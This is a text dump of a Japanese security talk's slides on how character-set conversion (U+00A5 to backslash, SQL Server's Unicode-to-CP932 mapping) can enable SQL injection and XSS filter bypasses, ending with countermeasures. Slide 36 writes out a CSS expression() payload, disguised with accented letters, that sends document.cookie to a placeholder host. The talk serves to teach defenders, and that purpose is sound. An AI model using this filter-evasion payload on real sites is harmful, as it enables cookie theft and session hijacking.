Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

UnicodeによるXSSと SQLインジェクションの可能性

6,617 views

Published on

SQL Server使用時の文字コード変換の注意など

Published in: Technology

UnicodeによるXSSと SQLインジェクションの可能性

  1. 1. Unicode による XSS と SQL インジェクションの可能性 HASH サルティング株式会社 徳丸 浩
  2. 2. 自己紹介
  3. 3. 今日は漢字の人です
  4. 4. 横浜で ちっちゃな会社 やってます
  5. 5. Web アプリが専門ですが、色々やります
  6. 6. WAF について書いたりしています
  7. 7. それでは始めます
  8. 8. 本日のテーマは
  9. 9. 文字コード
  10. 10. 文字コードって何 ?
  11. 11. 文字コード = 文字集合 + 文字エンコーディング
  12. 12. 文字エンコーディングネタは結構ある <ul><li>冗長な UTF-8 エンコーディング </li></ul><ul><ul><li>パストラバーサルなど </li></ul></ul><ul><li>半端な先行バイトによる XSS </li></ul><ul><li>UTF-7 による XSS </li></ul><ul><li>Shift_JIS の 5C 問題 </li></ul>しかし
  13. 13. 本日のテーマは
  14. 14. 文字集合
  15. 15. 文字集合って何 ? 文字通り,文字の集まり もじもじ
  16. 16. この辺があやしい
  17. 17. 特にやばそうなところ (*1) US-ASCII は 7 ビットのコードなので,最上位ビットを無視する結果, 0x25 すなわち「 % 」として扱われる (*2) 中黒(なかぐろ) 0x5C 0xA5 US-ASCII % (*1) JIS X 0201 ¥ ・ (*2) ISO-8859-1 ¥ Unicode ¥
  18. 18. 文字集合を変換すると ?
  19. 19. 多対一の変換が起こるかどうかは実装依存 <ul><li>ASP.NET </li></ul><ul><ul><li>「 」 U+00A5 -> ? </li></ul></ul><ul><li>Perl </li></ul><ul><ul><li>「 」 U+00A5 -> ? </li></ul></ul><ul><li>PHP </li></ul><ul><ul><li>「 」 U+00A5 -> ¥  ( 全角 ) </li></ul></ul><ul><li>Java </li></ul><ul><ul><li>「 」 U+00A5 -> (0x5C) </li></ul></ul>注目 10 万超の文字を変換して確認するだけの簡単なお仕事です
  20. 20. U+00A5 による SQL インジェクション (MySQL+JDBC) エスケープ( ' -> ' ' ) Unicode -> EUC-JP
  21. 21. U+00A5 による SQL インジェクション (MySQL+JDBC)
  22. 22. XSS はどうか ?
  23. 23. U+00A5 -> 0x5C の変換による XSS はあり得る
  24. 24. が, JavaScript を動的生成する場合などに限られる
  25. 25. 現実的に発生し得るが
  26. 26. そもそも JavaScript の動的生成ってどうよ orz
  27. 27. 他にないのか ?
  28. 28. SQL Server の例 <ul><li>SQL Server が Unicode で列の値を保存するための条件 </li></ul><ul><ul><li>列の型を nchar , nvarchar にする (char , varchar はだめ ) </li></ul></ul><ul><ul><li>文字列リテラルを N'....' と記述する ('....' ではだめ ) </li></ul></ul><ul><li>上記を怠ると, Unicode->CP932 への変換が起こる </li></ul>
  29. 29. CP932 と断定していいのか ?
  30. 30. 非 Unicode への変換が起こっていることは確かだが CP932 と 断定できない orz
  31. 31. SQL Server の例 <ul><li>SQL Server が Unicode で列の値を保存するための条件 </li></ul><ul><ul><li>列の型を nchar , nvarchar にする (char , varchar はだ め ) </li></ul></ul><ul><ul><li>文字列リテラルを N'....' と記述する ( '....' ではだめ ) </li></ul></ul><ul><li>上記を怠ると, Unicode->CP932 への変換が起こる っぽい </li></ul><ul><li>変換の例 </li></ul><ul><ul><li>è -> e </li></ul></ul><ul><ul><li>é -> e </li></ul></ul><ul><ul><li>ê -> e </li></ul></ul><ul><ul><li>ë -> e </li></ul></ul>
  32. 32. これをどう活用するか
  33. 33. か,活用かよ orz
  34. 34. 悪影響の例 :CSS の XSS 対策
  35. 35. ブラックリスト
  36. 36. XSS 対策が回避されるパターン <ul><li>元の入力 .main { color: è xp ®éßßïòñ (document.location= ”http://example.com?”+document.cookie); } </li></ul><ul><li>XSS 対策ルーチンを通るが </li></ul><ul><ul><li>è xp ®éßßïòñ はフィルタを回避される </li></ul></ul><ul><li>SQL Server に Insert 。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } </li></ul><ul><li>CSS を使って表示すると, JavaScript が実行され Cookie 値が漏洩する </li></ul><ul><li>はてなは EUC-JP だから大丈夫 ? (SQL Server でもない ) </li></ul>
  37. 37. 対策 <ul><li>異なる文字集合への変換を極力しない </li></ul><ul><li>どうしてもしなければならない場合もある </li></ul><ul><ul><li>wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど </li></ul></ul><ul><ul><li>その場合は… </li></ul></ul>
  38. 38. 対策 <ul><li>異なる文字集合への変換を極力しない </li></ul><ul><li>どうしてもしなければならない場合もある </li></ul><ul><ul><li>wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど </li></ul></ul><ul><ul><li>その場合は… </li></ul></ul><ul><li>続きは Web で </li></ul><ul><ul><li>ITpro Security で </li></ul></ul>
  39. 39. 第 5 回~第 6 回の 5 回で文字コード説明します
  40. 40. ご清聴ありがとうございました

×